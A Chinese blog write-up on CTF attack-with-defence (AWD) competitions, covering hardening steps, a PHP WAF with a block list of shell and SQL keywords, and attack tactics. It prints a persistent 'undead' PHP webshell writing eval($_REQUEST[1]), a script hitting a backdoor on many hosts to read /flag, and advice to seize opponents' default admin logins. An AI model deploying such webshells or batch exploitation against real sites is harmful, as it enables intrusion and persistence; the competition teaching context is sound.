一文了解CTF线下赛---AWD

一文了解CTF线下赛 — AWD

前几天和Light1ng的师傅们一起参加了在天津举办的第五空间决赛,虽然结果不尽如人意,全程被pwn爷爷带飞,而web的环境还时不时宕机,分不清是被打了还是主办方的环境坏了,所以web手基本上全程坐牢,太痛苦了,最后狗了一个三等奖,但这次比赛还是收获了很多,面基到了各位师傅很开心,接下来就来简单总结一下awd吧,因为我也只是个web手,所以说以下的总结也都只针对web哈

1.什么是AWD

AWD赛制是一种网络安全竞赛的赛制。AWD赛制由安全竞赛专家及行业专家凭借十多年实战经验,将真实网络安全防护设备设施加入抽象的网络环境中,模拟政府、企业、院校等单位的典型网络结构和配置,开展的一种人人对抗的竞赛方式,考验参赛者攻防兼备的能力。其主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。(摘自百度百科)

百度百科的说法有点太过于专业了,其实简单点说AWD就是攻防大战,我们可以进入到别人的网站,一般都是某个cms,大部分都是php的站,少部分可能会有Java或者python的,然后找到网站中的漏洞,利用它getshell,拿到对方服务器上的flag;我们也可以维护自己的网站,通过xshellxftp,SSH连接上自己的服务器后,将源码下载下来,然后利用扫描工具扫描它的漏洞,对应删掉自带后门,上waf脚本,文件固化脚本等方式防止对手将木马写入我们服务器中;但我们不能删除源码,因为每一轮都会对所有队伍网站进行check,check不过的队伍会被扣分,然后分数会由check通过的队伍平分,所以我们首先要保证网站的正常服务功能不受影响,不能宕机

2.流程

  1. 出题方会给每一支队伍部署同样环境的主机,主机有一台或者多台。

  2. 拿到机器后每个队伍会有一定的加固时间或没有加固时间,这个视规则而定。

  3. 每个服务、数据库、主机上都会可能存在 flag 字段,并且会定时刷新。通过攻击拿到 flag 后需要提交到裁判机进行得分,一般会提供指定的提交接口。下一轮刷新后,如果还存在该漏洞,可以继续利用漏洞获取 flag 进行得分。

3.防守

我觉得防守在awd中永远是最重要的,也是一开始就必须要做的事情,因为到后面如果被上了不死马或者被打宕机了,说实话就很难进行防守了,到时候就只有看着每一轮都疯狂扣分,那是真的心碎哈哈哈;所以比赛开始后一定要先防守,有的比赛会有加固时间而有的比赛是直接开始打,这种时候就很拼手速了;首先登录上ssh,看看ssh的密码,如果是弱密码或者和队伍名相同或相关的密码一定要抓紧改掉,如果被别人拿到了ssh密码基本上这比赛就没了;登陆上之后利用xftphtml目录直接下载下来,放入D盾或者其它扫描工具中扫描,一般它都会有自带的后门,先把后门的路径记录下来,因为所有队伍的环境都是一样的,你有后门的地方一定别的队伍也有,然后将自带后门删掉或者改掉;接下来就先登录我们自己的网站后台,将默认的后台密码改掉,默认的后台密码可以去百度中查询对应的cms,一般来说是admin admin或者admin 123456,这一步也非常重要,如果网站后台密码被对手改掉也就很难操作了,所以说在团队赛中一般是一个人删后门一个人改后台密码;改完之后就可以在合适的地方上waf了,我们可以参考D盾的扫描结果,在一些存在危险函数的地方上waf,或者说在网站的入口上waf,一般在入口上waf效率是很高的,因为可以监控全部的流量,接下来演示一下怎么上,方法非常简单,这个waf出自大黑阔LTLT之手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
error_reporting(0);

$Filter = "";
#如果要开启流量监控且过滤拦截请将Filter设置为ON 默认不开启过滤拦截 注意误拦

$SAVEPATH = "/tmp/sec";
#流量文件保存地址 默认在 /tmp/sec 中,可以自行修改

#使用方法:将本文件在需要防护的php文件中include即可
#下面是敏感字符 参数和值 都将会被检测 可自定义敏感字符

$black_list = array("pcntl", "assert", "phpinfo", "exec", "popen", "fopen", "fclose", "fwrite", "passthru",
"symlink", "link", "syslog","imap_open", "shell", "mail", "system", "hex", "chdir", "`", "var_dump",
"chr", "mkdir", "cat" , "tac", "ls" ,"echo", "print", "nl", "IFS" ,"<" ,">", "|", "'", "\"", "select",
"union", "information_schema", "updatexml" ,"exp" ,"pwd", "rev", "sed", "file", "copy", "terminated",
"extractvalue", "concat", "order", "const", "{", "}" , "REQUEST", "bash", "include",
"require", "env", "strrev", "~", "^", "../");

function filter_($keyF){
#拦截后执行的函数,可以自定义
if ($keyF === "ON"){
$time = md5(time());
die("flag{{$time}}");
}
}

$tra_all = var_export($_REQUEST, TRUE);
file_put_contents("{$SAVEPATH}", "[+]PATH: {$_SERVER['PHP_SELF']} | HAED: {$_SERVER['REQUEST_METHOD']} | Traffic: {$tra_all}\n", FILE_APPEND);

foreach ($_REQUEST as $Re_key => $Re_value) {
foreach ($black_list as $b_key => $b_value) {
# 先将字符串去除点
$out_spot_key = str_ireplace(".", "", $Re_key);
$out_spot_value = str_ireplace(".", "", $Re_value);
# 字符串尝试替换black_list
$bla_k = str_ireplace($black_list, "_", $out_spot_key);
$bla_v = str_ireplace($black_list, "_", $out_spot_value);

if ($out_spot_key!=$bla_k || $out_spot_value!=$bla_v) {
# 检测到有奇怪输入,跳转到WAF防御界面
if ($writeabble == 0){
file_put_contents("{$SAVEPATH}", "[WARNING]PATH: {$_SERVER['PHP_SELF']} | HAED: {$_SERVER['REQUEST_METHOD']} | Traffic: {$tra_all}\n", FILE_APPEND);
$writeabble = 1;
}
filter_($Filter);
}
}
}
?>

这个waf我已经在实战中用过了,确实是很好用,过滤的字符可以进行自定义,我们直接在需要的地方利用include('waf.php')包含waf就行,当它检测到危险字符时就会进行拦截,当然我们为了防止误拦也可以不开启$Filter,如果不开启的化,它就只会监控流量但不会做出拦截,下图我是开了拦截的,它就会反弹假flag

image.png

然后我们还可以去看攻击者的流量,这一步是非常最要的,因为假如攻击者攻击成功的话,我们就可以通过分析攻击者攻击成功的这个流量去攻击其它的队伍,拿一波flag,这里流量的路径是/tmp/sec,我们来看看效果:

image.png

这里攻击者攻击我们的payload我们全都可以看到,假如攻击者攻击成功的话我们直接用这个payload去打别的队伍就行了,基本上一打一个准;但由于这里我们过滤的字符还是比较多的,如果过不掉每一轮的check的话,我们就可以关掉拦截,只监控,同样可以拿到别人的payload去打其他队

假如我们不小心被对手种入了不死马应该怎么办呢?通常有下面几种克制方法:

1
2
3
4
强行 kill 掉进程后重启服务
建立一个和不死马相同名字的文件或者目录
写脚本不断删除文件
不断写入一个和不死马同名的文件

总结一下,awd中的防守主要操作就是下载源码,改后台密码,删掉自带后门,上waf,进行流量监控,杀掉不死马,还有一个文件固化的操作因为我实战中没有用过这里就不讲了,想了解的朋友可以去看看小迪的视频,讲的还是非常不错的,而且对应的脚本啥的也有,视频地址:https://www.bilibili.com/video/BV1JZ4y1c7ro?p=79

4.进攻

相对于防守相对比较固定的套路,进攻的方法那可就灵活太多了,很难找到固定的套路;首先在拿到我们自己的ip地址后,可以利用python脚本先生成批量ping的地址,因为第一步肯定是先获取对方网站的地址,有的比赛举办方会直接告诉大家所有队伍的地址,但有的比赛比如说bugku中的awd比赛就不会告诉你,这时候就需要我们先探测出来,这个脚本我是依照bugku中的比赛写的,很简单的几句代码:

1
2
3
for i in range(256):
ip = "192-168-1-"+str(i)+".pvp670.bugku.cn"
print(ip)

image.png

就先这样生成字典,然后复制进去,放入批量ping的工具中,批量ping的工具一般用PingInfoView,看哪个网址可以ping通就说明它存在

image.png

找到对方的网站之后,我们可以先利用前面获得的自带后门的路径去试试,看它有没有删掉,如果没有删掉,那就可以利用这个自带后门getshell上不死马了,这个后面再慢慢说;与此同时,我们要快速登录对方的网站后台地址,后台的路径可以去百度搜对应的cms,首先试试看默认密码能不能登录上去,如果能的话马上登上去修改它的密码,说实话这就是个拼手速的游戏,争取能抢在所有队前面把默认密码都改了,这样相当于拿下了所有队伍的后台,后续利用后台getshell就非常方便了

当我们把所有队的自带后门都测试完,后台密码就改了之后,就可以给还没删掉自带后门的队伍上不死马了,因为很多自带后门都是GET型木马,所以说我们不能直接利用它连接蚁剑,我们可以在里面嵌套一个POST木马,演示如下:

image.png

就像这样就好了,就可以直接利用这个连上蚁剑了,连上之后我们就可以找一个比较隐蔽的地方上不死马了,先解释一下啥叫不死马吧,不死马的主要功能是执行后不断在该路径生成一个 shell 文件,方便后续使用,不死马如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = "1.php";
$shell = "<?php eval(\$_REQUEST[1]);?>";
while (TRUE) {
if (!file_exists($file)) {
file_put_contents($file, $shell);
}
usleep(0);
}
?>

相当于有了这个脚本后它就可以不断的在当前目录下写马,删掉之后接着写,就很狠,这个不死马的名字可以取的和正常文件名字差不多,这样对方就很难找了

当对方删掉了自带后门之后,我们就可以利用改了的后台密码登入网站后台中,然后在网上搜一搜对应cms如何后台getshell,如果比赛是离线环境的话,我们就要事先准备好离线漏洞库了,在里面搜索对应的cms,对应的版本getshell就行了,getshell之后还是一样的上不死马就行,一般来讲这些漏洞都是现成的,如果要从源码中现审的话时间可能不太够,因为awd节奏实在太快了,它主要考察的就是临场反应的能力和脚本编写的能力,其中有一个很重要的脚本就是批量提交flag的脚本,因为如果队伍比较多的话手动提交flag是不太来得及的,所以说当我们getshell了之后就可以直接编写脚本来批量获取并且提交flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import re
import json
import sys
import urllib3

urllib3.disable_warnings() #忽略https证书告警

def POC(target_url):
vuln_url = target_url + "/avatar/system/1.php?s=print_r(readfile(%27/flag%27))"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=10)
if "flag" in response.text:
print(response.text)
f = open('flag.txt', 'a')
f.write(response.text + "\n")

except Exception as e:
print("")


if __name__ == '__main__':
with open("./url.txt", "r") as f:
results = f.readlines()
for result in results:
target_url = result.strip()
POC(target_url)

这个脚本仅供参考,这个脚本是le1a师傅给我的,我还没有在比赛中验证过它哈哈,这个需要先把url写入url.txt中,然后它会自动把flag写入flag.txt中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import re
import json
import sys
import urllib3

urllib3.disable_warnings() #忽略https证书告警

def POC(flag):
vuln_url = "https://ctf.bugku.com/pvp/submit.html?token=[token]&flag=" + flag
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=10)
print(response.text)
except Exception as e:
print("fail")


if __name__ == '__main__':
with open("./flag.txt", "r") as f:
results = f.readlines()
for result in results:
flag = result.strip()
POC(flag)

然后这个是提交flag的脚本,都没有试过,准备哪天找个bugku的awd比赛来试试脚本

总结

写了这么多,时间有点紧感觉总结的很杂乱,不是很成体系,其实awd最重要的就是要提前准备好脚本和waf,以及漏洞库;比赛前队伍中做好分工,比赛开始的时候拼手速,先把必须要做的都做了,然后随机应变,现场搜索漏洞或者做好流量监控找机会打别人就好了,如果被打了心态也不要崩,因为他肯定是批量打的不可能只打我们一家,抓好流量找机会反打就好了

参考链接:

https://www.freebuf.com/articles/network/201222.html